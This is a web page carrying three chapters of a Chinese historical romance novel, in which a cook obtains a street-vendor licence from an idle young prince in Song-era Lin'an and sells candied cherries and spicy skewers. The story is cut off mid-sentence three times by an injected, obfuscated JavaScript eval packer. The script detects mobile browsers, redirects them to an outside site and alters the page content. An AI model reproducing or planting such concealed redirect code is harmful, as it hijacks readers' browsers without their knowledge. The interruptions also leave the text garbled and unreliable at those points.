糯米软软香香的,油炸蘑菇鲜味十足,泡萝卜负责脆脆的口感,这一个大大的饭团,带来的,不止是碳水化合物给人的饱腹感,还满足了味蕾。
与团团两人正好吃完,前面就出现了一排阔气的建筑,正门匾额上四个大字铁钩银画——临安府署。
门口两个高大的兵卒威武地站立着,江清澜向其中一人打听办牙帖(生产经营许可证)的地方,兵卒严肃得很,根本不说话,只一指西边的小门。
这个小门比起府署的大门,简直寒酸得像狗洞。好吧,他们平头百姓来办个证儿,是不可能让你走那金碧辉煌的正门。
江清澜牵着团团进了门。
这是个二进的小院子,正中栽了几棵桂花树,长得倒高大,就是叶子都落了,树上没几片儿,看起来蔫儿答答的。东边角落一堆人围在那儿,看穿着打扮,都是平头百姓,不知在干嘛,吵吵嚷嚷闹得厉害。
没见着工作人员,也没人管,江清澜又往里走,进了第二进院子,嘿,这下对了,迎面而来的屋子上就挂着个“牙帖”的牌子,门也半开着。
“有人吗?”江清澜一边试探性地问着,一边迈进了屋。
这个屋子还挺大的,看起来有三个办公的位置。两处都没人,只有靠窗的那处,摞得极高的书卷之后,露出了一个人的衣服。
那是白色葵袍,只在袍脚裁了窄窄一溜的紫色,洒金提花的料子让天光一照,反射着璀璨夺目,看着很是贵气。
偏那人两条长腿随意耷拉着,一腿曲着,一腿伸直,看起来相当放松。
团团低声嘀咕:“阿姐,他的腿好长啊!”
“嘘——”江清澜以手点唇,示意她别乱说话,又靠近了一步,试着招呼,“郎君?”
走近了,才发现那人的手趴在桌子上,脸又埋在胳膊里,竟是睡着了。桌子上有几本翻开的书,白瓷杯子里,茶水还冒着袅袅热气。
江清澜又好气又好笑:喝茶聊天看小报,上班时间睡大觉,这谁家领导的亲戚混日子来了?
8. 红烧豆腐
谢临川睡得正香,梦见自己在齐云社和火焰队的蹴鞠决赛中,正准备来个倒挂金钩。听见有人叫他。
他勉强抬起沉重的脑袋,乱恍了一眼,见是一大一小两个女娘,便又把头趴了下去:“干嘛?”
江清澜并未看清那人脸,只觉声音还挺好听,见他又趴下去了,一副懒扯扯混日子的模样,只好说:
“妾是来办牙帖的,看这屋子外面挂着‘牙帖’的牌子,所以进来了。”
谢临川用手一指,示意她在门外。
但江清澜不解,门外……门外并无工作人员啊。正要再问,只见一个青年郎君提起青色袍子,飞快跑进来。
“娘子是办牙帖?”这人一张团团脸,脸上堆着笑,看起来很是和气。
江清澜心头却是咯噔一声,这不就是前日在建隆寺外撵她那城管!幸而他没有认出自己来,她就勉强一笑:“正是。”
“劳娘子这边坐。”那人说着,引着她往屋子另一处案牍走去。两人坐下,那位郎君正要拿纸笔,看团团玉雪可爱,从口袋里摸出一块饴糖。“来,小姑娘吃糖。”
哎呀,这城管不止没有想起她偷税漏税的事,还挺亲民!江清澜心里乐开了花。
团团甜甜一笑:“谢谢阿兄。”
“不谢不谢。”郎君说完,才对江清澜道,“我姓杨,娘子唤我杨郎君就行。”这边铺开纸,蘸了墨,准备写字了,问,“娘子姓甚名谁,家住何处,准备办何种牙帖?”
江清澜心道:这个公务员着实不错,这是财赋司,一般人都想人叫他官职的,比如杨司长、杨司员。这人只说叫郎君,说明不喜欢打官腔。
她便口齿清楚地说:“妾姓江,名清澜。如今,在城里青莲庵挂单。准备办一个饮食的牙帖。”
“哟,这可不好办。”杨郎君搁下笔,细细说来。
“第一个,办饮食牙帖,先得去城里的诊所开帖子,证明无疫病。”
“第二个,娘子尚无固定住所,需要一个有住房的保人作保,他在保书签字画押,你才办得了牙帖。”
“是这样……”江清澜嗫嚅道。
其实,她有心理准备,没打算一次性把经营许可证办好,上辈子,信息那么发达,她调个档,还跑了好几趟呢。
杨郎君看她神色,又说:
“我看娘子是生手,再与你介绍一下牙帖的种类,你回去考虑好了,下次拿了大夫的帖子和保人的保书,直接办了就是,免得再跑一趟。”
江清澜点点头,心里为这位体贴的公务员点赞。
“咱们这儿牙帖也有好几种。有豪奢型、普通型、紧凑型的,娘子刚开始做生意,选紧凑型的就成。”
“除了规格之分,还有固定与流动之分。”
“固定摊位,各个地方不同的。比如中瓦的紧凑型摊子,三钱一个月。偏僻一些的地方,比如余杭门那边,就便宜些,一钱银子。这个是依地段来定的价。”
“另一种流动的,要四钱银子一月,不拘在什么地方,中瓦呀、西湖边上呀、钱塘湖边呀、州桥夜市呀,只要有咱们临安府署官设的摊子,都可以用。”
实际上,中瓦是临安城里最繁华的地方,这里的摊位才三钱银子,流动摊位却要四钱,有些不划算。但江清澜有不同的打算,问:“蹴鞠比赛场里有官设摊子吗?”
“有倒是有,但蹴鞠场一般就卖瓜子、饮子之类的,都有自己的售卖专人,咱们官设的,租出去的不多。”
江清澜点头,看来她之前想得还是太简单了,照杨郎君说来,蹴鞠场里的销路几乎是垄断了的。但到底怎样,要去看看才知道。
杨郎君又说:“还有一点,若是商户积极缴纳牙帖费,还能抽奖。”
“抽奖?”江清澜十分意外,这个宋代的财赋司,真会玩儿啊。
“正是。”杨郎君笑着说,“司里每月有一个免费的名额,十二个月按时、足额缴纳牙帖费的,都可以来抽奖。方才,便是像你这样的一位女娘抽中了。”
江清澜这才知道,外面院子闹哄哄的,竟是在办这事儿,便将这奇巧心思夸了一通,又感谢杨郎君细致的介绍。
这团团脸的杨公务员竟不好意思了,脸红红的。
那边说得热烈,谢临川这边却无聊得紧。
他本来正在做美梦,让江清澜吵醒了,只好百无聊赖地翻着账本看。陡然,耳朵里钻进“蹴鞠”两个字,他霎时警醒了,站起身来。
那位女娘着茶白窄袖布襦、草绿色百迭长裙,头上半分装饰也没有,唯有眼睛清明如泉,似乎内心极有计较。
她正牵了脸蛋儿圆圆的小女娘,往门这边过来。
谢临川心道:看起来就是个普通商户女,也不知她跟“蹴鞠”有什么关系。
江清澜从那边起身时,就见方才睡觉那关系户已站了起来,她要出门,必须从他附近过,怎么也得打个招呼。
他的身量确实很高,窄窄的紫色原来不止在袍脚,在圆领衣口、袖口也有一溜,实在英气逼人。
走近时,她抬头,看清了他的脸,颔首,耳根子有点儿红,拉着团团想快些走。团团却僵直着不动,满脸通红,眼神直直的,嘴巴微张,已然是看呆了。
江清澜大囧,猛一使力,把人半拖半拽着弄走了。
出了临安府署,团团还意犹未尽:“阿姐,刚才那个哥哥也太好看了吧。”
小姑娘说起来,还红着脸,眼睛冒着星星,一脸花痴模样。
江清澜轻轻敲她头:“杨郎君给你糖吃了,也没听你夸他一句。”
“杨郎君的糖甜,人不好看。”小孩子能有什么坏心思呢,脱口而出就是大实话。
江清澜捂嘴笑,为杨郎君的糖不值,但她也承认,那个关系户,长得确实好看。
时人尚文,审美也偏阴柔,男子簪花敷粉者比比皆是。
但今天这个人,是一种天然的、不加修饰的好看,他的眼睛、鼻子都长得恰当好处,增减一分,都失了完美。
古希腊的芙丽涅,在法庭的审判中,因长得太美而被宣判无罪——人们对长得好看的人,总是宽容些。
江清澜想,上班睡觉……睡就睡吧,谁让人家长得好看呢。
……
她们从府署出来,没直接回青莲庵,先去诊所请大夫问了诊,开了并无疫病的证明。
又请路边的写字先生代拟了保书——其实,作为古代文学的学霸,江清澜也会写毛笔字,写得还不赖,但繁体字她会认不会写,怕起笔就暴露了。
原身家里是书香世家,当然会教女儿写字,团团问她怎么不自己写,她推说在陆家晕厥那次伤了脑子,好多字想不起来了,小孩儿心思单纯,也不怀疑。
取了大夫的帖子和保书,还买了些日用品,这才回青莲庵去。
走到路上,见有卖樱桃的,一颗一颗小小的,果肉殷红如玛瑙,在两片小小的绿叶衬托下,十分可爱。
樱桃娇气,在树上一红,鸟雀先吃了大半,小心翼翼地采摘、运输,损耗又折了一半,仅存的那点点才能拿来卖,还不能久放,几天便坏了。
是以,樱桃的价格一直很高。唐人中进士后,有请吃“樱桃宴”的传统,但也仅限达官贵人,贫穷的举子是请不起的。
樱桃价格贵,但实在精致好看,包装一下,便能卖出几倍的利润。这几天又在外面吃炸鸡、又搬家的,还要交牙帖的钱,都是出没有进,是要考虑挣点儿补贴。
江清澜一咬牙,花钱买了好些樱桃,决定今晚上去中瓦试试水。
回了青莲庵,妥善安置了这些金贵的樱桃们,江清澜开始做晚饭。今天走了很多路,需要补充蛋白质,但在庵里不能吃肉,她灵机一动,买了块豆腐来炒。
比起现代的豆腐,此时的豆腐更黑,气孔也较多,看上去比较粗糙。
好在制作工艺已十分普及,所以她们姐妹两个吃的一小块儿豆腐,只需三文钱。
虽然便宜,营养价值也不低。豆腐是黄豆做成的,含有丰富的植物蛋白,是素食主义者补充蛋白质的重要来源,所以那天建隆寺的烩菜里,也加了豆腐。
一般饭馆里做红烧豆腐,讲究的是嫩而不烂,也就是,豆腐的口感滑嫩,但形状仍是小方块,没有炒碎。
但江清澜做的家常版红烧豆腐不一样,她特意炒得碎碎的,炒
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626220|172371||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
成豆腐渣。
这是因为豆腐本身味道寡淡,需要借用豆酱、川椒粉、酱油等调料的味儿。
而炒得越烂,入味越深,是以,江清澜的红烧豆腐虽卖相不好,却是极受欢迎的。
起锅烧油,油热下豆酱与拍扁了的蒜苗头,两种调料让热油一激,香气四溢。
左右是她们姐妹两个自己吃,江清澜也懒得放在手上细细打了,直接将一整块豆腐滑入热油之中,铁铲乱炒一通。
热油里进了含水的豆腐,刺啦刺啦地响,全部炒烂了,再放些酱油、蒜苗段,豆腐渣们瞬间就变成了黄褐色,绿油油的蒜苗点缀其中,令人食欲大增。
这还没完,还有一个极为关键的部分——勾水芡粉。
这可是个技术活儿,勾多了呢,容易糊锅不说,豆腐里水渣渣的,不好吃。勾少了呢,豆腐就不够滑嫩,欠了口感。成功与否,全在厨师的经验。
江清澜做惯了的,随手调个芡汁,沿着菜一圈滑入锅中,铲匀起锅,红烧豆腐就成了。
照江清澜自己来说,缺了点儿豆瓣酱,所以颜色不够红,味道欠了醇厚。
但这个时代还没有辣椒,只有类似的川椒,味道还是有些不一样的。
她自己不满意,另一个食客——团团好像不这么认为。
她用勺子把豆腐渣舀起来盖在饭上,让每颗米饭都浸在红红褐褐的油水里,用筷子一拌,吃了起来,怂里怂气地夸赞:“阿姐,你做饭越来越好吃了。”
江清澜记得,原身的厨艺尚可,忙说:
“听大夫说,脑子受了刺激的人,会有些改变。阿姐上次晕厥后,写字啊绣花那些活儿不怎么会做,但是做饭好像越来越顺手了,不知道是不是这个情况。”
团团年纪小,口腹之欲当然排第一:“这样好得很,阿姐做饭,要越做越顺手哦!”
江清澜笑,心道:小孩就是好骗。又想起杨郎君的糖——明日还得去府署。
此时,杨郎君也快下值了。整理好账本、名帖,伸个懒腰,站起身来:哎哟,今天可累坏了,这就回家吃饭去咯。
正要锁小门,忽见得司长急急往这边走了过来,与他并行的是——府尹大人!
杨郎君退在旁边,深深一揖。
“杨松,过来,府尹大人有话问你。”司长严肃地说。
赵府尹站在之前谢临川的桌子前:“这便是谢——”立即改口,“言郎君的案牍?”
东平王之前交代了,他的小儿子来财赋司历练,要行事低调,连姓也要改成“言”——谢的偏旁,以免让人认出来。
杨松道:“正是。”
“言郎君今儿个上值,公务如何?”
“呃……这个……”杨松支支吾吾的。
司长皱眉,怒道:“什么这个那个的,府尹大人问话,据实回答!”
杨松脱口而出:
“言郎君早上来的,先四处逛了逛,然后就趴在案牍上睡觉,我还给他上了茶。”
“中午骑马出去了。下午回来,使劲儿踢院子里那几棵桂花树,然后又趴在案牍睡觉,我又给他上了茶。方才,他骑着马走了。”
司长心里嘀咕:难怪他的桂花树蔫答答的,叶子都快没了。
赵府尹愣了下,接着“啪”一掌拍在司长的肩膀上,把后者吓得一哆嗦,他自己倒哈哈大笑:“睡觉好,睡觉好。”
又对杨松说:“以后就这么办。你做你的,他做他的,睡觉也行,踢树也可,只要不闹事,怎么都行。”
看四下冷秋秋的,一个人也没有,又问司长:“财赋司不会就他一个人吧?”
司长忙道:“不是不是。下官前日得了大人的消息,马上做了准备,把几个笨的调走了,这位杨郎君是最稳妥的。明日,还有几个稳妥的调来。”
赵府尹点点头:“办得好!”
等府尹、司长走了,杨松擦擦脑门儿的汗,心道:这位言郎君是什么来头,竟劳得府尹大人亲自过问?不会……不会是个皇子吧?
以前,也有皇子来临安府署历练的,只没来过财赋司这般小的地方。
这样一想,他脑门儿上的汗更多了。
9. 甜樱桃
谢临川出了临安府署,却没去西山蹴鞠场,而是去了北边的碧云岭一趟。
他骑马跑得飞快,又是提前走的,这会儿回王府,虽比下值时间晚了点,也糊弄得过去。
他心道:去上值也有好处,没人盯着,今天在府署踢桂花树,小腿与足尖的力量得到了训练,下了值,去做别的事,也无人知晓。
吃了饭,去祖母处请安。谢老夫人捧着个木匣子,喜笑颜开,见他来,献宝一般,指给他看:“三郎快来,瞧这樱桃多么可爱。”
此时的樱桃不易储存,除了应季时吃些新鲜的,往往是做成蜜饯。味道嘛,倒也不错,只是模样不太好看。水果脱了水,又用糖腌制了那么久,都成了黑乎乎的。
这些樱桃不一样。一颗颗小巧玲珑的果子整齐排在盒中,皆是鲜红欲滴的颜色。
尤其是,樱桃表面上还裹了亮晶晶的一层,在日光的照耀下闪闪发光。模样如此精致,包装如此郑重,看上去不像吃食,倒像是宝石。
而且,每颗樱桃下面都串了个小竹签,磨得光溜溜的,一丝毛刺儿也没有,应是方便人取食之用。
谢老夫人拿起一个给他:“不光模样好看,味道也好呢。”
谢临川本不喜甜食,闻言也尝了一颗。
原来,樱桃表面上那层亮晶晶的,竟是凝固了的糖汁。
樱桃再红,也是有些果酸味儿的,软烂多汁。这些凝固了的糖汁既增加了甜蜜之味,还丰富了口感——嚼起来,微微有些粘牙,又仿佛嚼薄冰一般脆蹦作响。
谢临川道:“着实心思奇巧。”
谢老夫人又吃一颗:
“可不是,夏荫在中瓦买的。”
“她早就听说,前几日,有个女娘在建隆寺卖这种水果串,去找了好几天也没碰着。嘿,不曾想,今天在中瓦遇上了,还是樱桃——如果是青梅,我这牙可受不了。”
谢临川口气大:“把人招进来,不管樱桃还是荔枝,祖母想吃什么就让她做什么。”
谢老夫人回说:“我倒是想,但是夏荫说,那女娘是抱着簸箕卖的,没有固定摊位。一时半会儿,恐怕想找也不容易找着。”
说到摊位,想起了孙子的新差事,又问:“对了,你今天去财赋司如何?”她倒不是担心孙子被人欺负,而是担心他欺负别人。
谢临川取下竹签,把一颗冰糖樱桃抛得高高的,再一下吞入口中,用锦帕擦了手指:“还不错。有很多商户来办事,闹哄哄的。”
他想了想,觉得要再加点细节才显得真实,“还有一个女娘,带个小姑娘,来办……办牙帖。”
“噢?”谢老夫人来了兴趣,“你与她办的?”
谢临川大言不惭:“对啊!”
谢老夫人放下樱桃:“那我问问你,在中瓦办一个卖饮子的牙帖,需多少银子。”
谢临川又拿一串樱桃在手中把玩。银子,办牙帖还要银子?他活了这十几年,从来就没关心过这些事。
把樱桃抛进嘴里,他胡乱说了个他觉得很小的数目:“五十两。”
谢老夫人哈哈大笑,捧着肚子吸气。
“得了得了,这话在我面前说说就行。”又给孙子出主意,“若是你爹问起这事来,你只管说心里想的数字的百中之一。”
“百中之一?”谢临川掰掰手指,“那不是只有五……五钱银子?”
“差不离。”
谢老夫人年轻时是白手起家,对底层百姓的生活比东平王两父子都清楚。
“你爹也未必知道具体的数字,糊弄过去就行。”
果然,又坐了会儿,夏荫来禀告:“老祖宗,王爷请世子去。”
谢临川拍拍手,站起来,狡黠地同祖母眨了眨眼睛。
——
今天去临安府署,江清澜可是做了充分的准备。
首先,大夫的帖子开好了。
其次,保书,昨天晚上她在中瓦卖樱桃后,专门去武林北路找了王蕙娘,带了好看的樱桃作礼物。王蕙娘大方,看也没看便签了。
此时,她把团团留在青莲庵,独个儿来府署,便是想自己一个人走得更快。速战速决,早拿证儿,早开张,早早挣大钱!
到了府署财赋司,还是昨天那样,院子里静悄悄,几棵桂花树光秃秃的,树上的叶子更少了。
到了那屋子里,办事人员多了几个,都坐在各自案牍后,有条不紊地忙碌着。
只有一个人,趴着在睡觉,两条长腿还是那样耷拉着。
杨郎君在那边角落里,江清澜快步往那边去。她是来办事的,不是来看帅哥的,办事当然得找杨郎君。
“站住!”偏有人不如她的意。
她只好转过身来,见睡觉的关系户竟然站了起来,使劲儿眨眨眼,像睡糊涂了似的,密匝匝的睫毛上下翻动。
他今日倒低调,穿了杨郎君他们一般的青色袍子,戴了黑色璞头——应该是工作服吧。只是他身姿挺拔,穿着就是比杨郎君好看。
他皱着眉头说:“你是来办……?”
“牙帖。”江清澜好心提醒。
“对对。”谢临川想起来了,撸了两下袖子,大包大揽,“过来,我与你办!”
江清澜看那边一眼,嗫嚅道:“妾想让杨郎君……”
那边坐着的杨松伸长了脖子,也往这边瞅着。
谢临川看这二人你情我愿的模样,怒了,语气生硬:“他能办我不能办?过来!”
上辈子,江清澜最怕去什么局什么所办事,跑的次数多不说,有些工作人员脸臭得像你欠他钱似的。偏你要办事,又只能听他的,予取予求。
上次遇到杨郎君,她才放松下来。哪里知道,今天又让这关系户盯上了。
江清澜在心里叹口气,认命了。
谢临川把牙帖本翻开,毛笔饱蘸了墨:“姓名。”
“江清澜。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626221|172371||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
谢临川却没急着下笔,抬起头看了她一眼,表情有点儿严肃:“你这姓不错。”说罢,刷刷几笔,在本子上写下三个大字。
江清澜哪里知道她的姓有什么不错的,临安城里,姓江的人多了去了。未及多想,看了他写的字,冷不丁地扑哧一声笑了出来。
谢临川错愕:“写错了?”是这样写的啊,他虽然读书不行,字还是不会写错的。
江清澜忍住笑,连忙否认:“不是不是,写对了的。”
她笑的是这人莽莽撞撞的笔法。空格那般小,是让人写簪花小楷的,这人上去就是三个钢叉大字,超出了空格不说,还把下面两行的字都涂黑了。
而且,他写的吧,不能说难看,就是不像写字,像在舞剑。
谢临川倒干得兴致勃勃:“用途?”
“饮食。”
又是铁画银钩的两个大字。
谢临川写完,去屋子中间的柜子里,取商户存底的“牙帖”单子,见有好几种,随手拿起一张好看的——带莲枝花纹的。
回了自己的案牍,把方才的姓名与用途誊了上去,再潇洒地把单子一伸说:“拿去。”
江清澜接过,小心翼翼地问:“办完了?”
“办完了。”谢临川信心满满,“你可以走了。”
江清澜拿出碎银子:“昨日杨郎君说,办紧凑型流动摊位,是四钱银子。”
谢临川抱臂,斜乜一眼:“噢,对。”收了钱,半点不羞愧。
江清澜又拿出大夫的证明和王蕙娘的保书:“昨天杨郎君说,还需要这两个东西。”
“噢,是吗?”谢临川皱眉。
江清澜肯定:“是。”
……
出了财赋司,江清澜心道:真是个草包……好在,她的牙帖到底是办下来了,从此以后就是合法商人了,就有白花花的银子可以赚了。
想到银子,她其他什么也不管了,心里像有小鹿在乱撞般,怦怦跳得厉害。
——
临安府署,几个郎君在算账。牙帖与银子一一对应,把今日的账对齐了,就可以散值了。
但是,账就是对不齐,算来算去,总少了一两六钱银子。
有人灵机一动:“会不会是收错了钱?高档位的牙帖,收成了低档位的钱?”
几个人又翻开牙帖本子,一条条紧锣密鼓地核对起来。到了“江清澜”这一栏,几人傻眼了。
收了四钱银子,少的却是价值二两银子的、莲枝花纹的牙帖单子。底本上,那些个银钩铁画的钢叉大字,绝不是他们这些中过举的人写得出来的。
一人说:“是言……”
杨松闻言,猛然咳嗽:
“什么言不言的,今日我们做错了账,这亏空我出一两银子,剩下的从你们几个俸禄里平分。事情就此了了,谁也不准出去说。”
“知道了。”几人都是司长特意调来的,很是稳妥,虽然都愁眉苦脸着。
10. 油卤串串(一)
上辈子,江清澜的外婆家在成都。小时候的寒暑假,妈妈总要带她去外婆家住个十天半个月。
那时候她就发现了,成都的串串特别多。
什么叫串串?便是像糖葫芦一般,将食物串在一根竹签子上,随吃随取。
成都的串串,细分起来,种类又多了。
最常见的是火锅串串,桌子上摆一口锅,或红汤或鸳鸯锅。
串好的毛肚、鸡翅、牛肉、香肠、藕片、海带等摆在另一个地方。
食客们自己拿铁盘子,取用想吃的菜,下自己桌上的锅去煮。
煮的时候,食材在锅里,长长的竹签子却伸在外面,看起来乱糟糟的一把,颇为热闹。
另有一种,叫冷锅串串,顾名思义,锅是冷的,菜却是热的。顾客的桌子上不生火,店家在屋里煮好了,直接端出来,食客开吃。
还有一种钵钵鸡,是更冷的冷锅串串。
煮好的串串,浸在装有秘制料汁的大青瓷钵里。
因为钵太大了,串串放进去要往下滑,商家往往会在钵里放一个装满冰的塑料瓶。
这样一来,串串们有了依靠,不会下滑,冰块也会让给食物施加冷气,夏天吃来更爽口。
以上这三种,不管有火没火,有一个共同点,便是串串都是浸在油汪汪的料汁中的。
近年来,成都大大小小的地铁口又出现了一种油卤串串,是干的,顾客拿着在路上边走边吃,不会汁水横流,更方便。
江清澜分析她现在的情况:
中瓦的商品琳琅满目,她要吸人眼球,必须做一些新奇的玩意儿。
冰糖水果串当然也要做,但这个东西是零嘴,小孩子更偏爱一些,市场消费力不足。另外,她们在青莲寺挂单,不可用荤食。
想来想去,新奇、便宜、方便的素菜,便是油卤串串。
油卤油卤,顾名思义,是用油卤出来的。听起来难做,其实简单。
常做菜的人知道,中餐里,凡是带炒字的,是最麻烦的,而蒸、煮、卤都相对简单。
卤,最重要的便是卤水底料。锅里倒菜籽油,将大葱、八角、桂叶、茴香等种种香料入锅中炸香。
这个时代,香料倒丰富,只是麻辣味由茱萸和川椒提供,没有现代辣椒花椒够味儿。
但此时,人们的口味相对清淡,茱萸的辣度也够了。
簸箕里的川椒与茱萸全部倒入油锅之中,锅里满目皆红,麻辣香气也被激发了出来。
旁边的团团被熏得打了个喷嚏,揉揉鼻子,皱眉道:“阿姐,好呛人啊,这是在做什么?”
原身和团团的父亲是正五品,虽说在权贵满地的临安算不得高官,但也是清贵之人。
是以,江家崇尚清淡的口味,团团闻不惯这般呛人的气味。
江清澜道:“自然是做火锅底料,这东西要熬得久,我这次就一并做了,以后无论是卤串串,还是吃火锅,做……”
她四下看了一眼,见尼姑师父们都忙着自己的事,低声说:“做红烧猪蹄之类的,都好用得很。”
团团一听红烧猪蹄,眼睛都亮了,肉眼可见地吞了一口唾沫。
江清澜笑道:“别急,等咱们以后出去赁了屋子,天天吃肉。”
一边说着,手上却不停,用铁铲持续不停搅动着锅里的底料。
小火慢熬,时间越久,味道越香,团团起先还说呛,现在想着猪蹄,又闻着香气,口水都要流出来了。
还有些小尼姑,都伸长了脖子往这边瞧。
做生意就是要宣传,人越多越好。
江清澜不怕围观,麻利地舀出部分底料,放在一边冷置。又在剩下的底料中加水,并一个混合了草果、茴香、桂皮等十几种香料的大卤包。
熬制到一定时间后,放入事先用竹签串好的豆皮、豆腐、木耳、藕片、萝卜等,煮不了多久,素串串们便可出锅了。
团团当然又是第一个吃客,拿起一串热气腾腾的豆皮就往嘴里塞。
还未入口便先是香——十几种卤料混合而成的浓浓香气。入口则是烫,又辣又麻又烫,辣和麻又会加剧烫。
团团先吃得美滋滋的,接着脸倏忽红了,满厨房跺脚乱走,嘶嘶吸气:“啊啊啊,好辣!好辣!”
江清澜赶紧递给她一个冰糖李子串,小姑娘三两口嚼了,酸酸的果汁四溢、甜甜的糖衣嚼烂了,这才止了辣。
也真是怪,团团的脸还红着,只是舌头不那么痛了,手又往素菜串串那边伸去了。
江清澜笑她:“这下不怕辣了?”
这次,团团摸了一串藕片:“怕啊,又怕又想吃,阿姐,你到底在里面放了什么东西?”
真也没放什么特别的东西,就是辣。辣是一种痛觉,却会让舌头上瘾。
如今,达官贵人喜欢吃清淡甜口的饮食,但她的摊子是开在中瓦的,普通人更多,更需要辣味的刺激。
并且,她将甜味的水果串与辣味的素菜串,放在一起卖,甜辣相替,食之不尽。
时近黄昏了,江清澜赶紧将厨房收拾好,又把今晚要售卖的辣串串与甜串串各放在一个食盒里,与团团一起,拎着往中瓦走去。
幸好现在住在青莲庵了,离得近,不然就她这副娇弱小身板,拎一段路,就脚耙手软了。
到了中瓦,按照牙帖上的编号找到了位置。
团团瞪着圆圆的眼睛问:“阿姐,这个摊子是紧凑型的?”
江清澜也惊呆了。
高高的摊檐上挂了一排红灯笼,摊前伸出了一溜宽宽的木板,擦得干干净净的。
摊位里面,炉子、蒸笼、锅碗瓢盆一应俱全。里面竟然还有一个内间,置了一张竹躺椅,应是给小贩小憩用的。
相比之下,不远处的那个摊子就“紧凑”得多了。
一个木制的顶子,下面一块木板,摊子里面堪堪能站下两人。
此外,她们的摊位位置也很好,在中瓦傀儡戏、杂技台的对面。
此时时间尚早,人还不多,但可以想见,晚上对面游人如织的时候,这里的客流量有多大。
如此一对比,江清澜便想通了关窍。
又想起去临安府署那天,那个非要给她办牙帖的帅哥关系户,忍住笑意,在心里道:
对不起,你不是草包,不止长得帅,还是大大的好人!
正所谓:“天予弗取,反受其咎,时至不行,反受其殃。”[1]有便宜不占白不占!
江清澜立刻把冰糖水果串、油卤串串拿出来,摆了个琳琅满目。
——
东平王府里,谢临川哪里知道有人在感谢他,冷着一张脸,陪宝庆公主在园子里走来走去,百无聊赖。
方才,他散了值,正要去蹴鞠场,府里的平林骑马来报,说王妃让他回府,有要事。
待回了府,才知道是宝庆公主出宫去庙里上香,路过东平王府,进来盘桓了一下。
为着她,东平王妃把谢临川叫回来了。
满城皆知宝庆公主的心思。
前几年,宫里蹴鞠赛,谢临川夺了球王。宝庆公主与福安公主为谁去献花的事儿,打起架来。福安公主把宝庆公主的头发揪断了一大把。
闹到官家那里去,官家把两人都骂
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626222|172371||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了,看二人伤势,还是多站在宝庆公主这一边些。
福安公主委屈:“我腿上现在都青着,她掐的。”
官家最是重礼,当场怒目:“大庭广众,你一个女儿家,这说的什么话?!”对福安公主失了耐心。
后来,到底福安公主年纪大些,等不了谢小郎君了,下降去了苏州李家。宝庆公主年纪小,也不着急,就这样耗着。
如今,东平王府花园里,簇簇芍药花粉红娇艳。为余晖金光浸染,愈发明艳可爱。
宝庆公主赵芸慧掐了一朵芍药花在手上把玩,对谢临川道:
“谢世子,临安城里别的郎君都簪花,你为什么不簪?”
谢临川的心思早在九霄云外了,随口敷衍:
“我长得黑,簪花不好看。”他想了想,又道,“你三哥建府后,还常入宫吗?”
宝庆公主与三皇子赵侃同为陈贵妃所出,二人都很受承平帝宠爱。这些日子,三皇子年岁到了,出宫别住去了。
宝庆公主偷偷看一眼他的脸,心里怦怦跳,哪里想得起别的,红着脸道:
“三哥常去拜见母妃的,父皇还夸他孝顺。”转身佯装去掐另一朵花,心道:哪里黑了,只是,不像那些敷粉的郎君那样白而已。
时下流行清淡妆容,便是男子,也得涂脂抹粉、簪花佩玉,才算是风流雅士。只宝庆公主见了谢临川蹴鞠场上的飒爽英姿,眼里如何也看不见其他人了。
“谢世子,你就试试……”
宝庆公主想把手里的花交给谢临川,让他簪了试一试,转身一看,哪里还有人,他已经走到池塘那边去了。
宝庆公主春心错付,噘着嘴,有点儿不高兴。可到了谢临川身边,见他那通身的风流俊秀,复又笑盈盈的。
“闲逛着也无聊,不如你教我蹴鞠?”
“蹴鞠?”
谢临川听了承平帝夸三皇子,有些怔怔的,听到蹴鞠两个字,眼睛一亮——说到这事儿,那他可就有兴趣了,赶紧叫人拿了球来。
不等宝庆公主说话,他撩起前摆扎在腰带里,又是颠球、又是佯装带球过人,还把远处芍药花丛中的一个小洞当风流眼,踢进了好几个球。
他倒也没忘了要教公主踢球,偶尔也说几句话。但他那话,还不如不说。
“站远些,蹴鞠掀起的尘土迷了眼可别怪我!”
“哎呀,你这足弓没力啊,回去练练踢树!”
“腿抬高些!”
甚至,还拿了一根树枝,把宝庆公主的小腿狠抽了几下。
到后来,似乎是放弃了,彻底不理她了,一个人带着球越跑越远。
其实,本朝蹴鞠风气大盛,宫廷贵妇们经常一起玩球。
宝庆公主也会踢几下,不说是妇人里最好的,也不算差。到了谢临川这里,竟是朽木不可雕了。
看着谢临川一个人在远处玩得不亦乐乎,宝庆公主很生气。她的脸红红的,圆圆杏眼中盈满了水色,也不知是愤怒多些,还是羞愧多些。
东平王妃梁氏知道她小儿子哄不了公主,一直在后面察言观色,见此情形,赶紧上前来软语安慰:
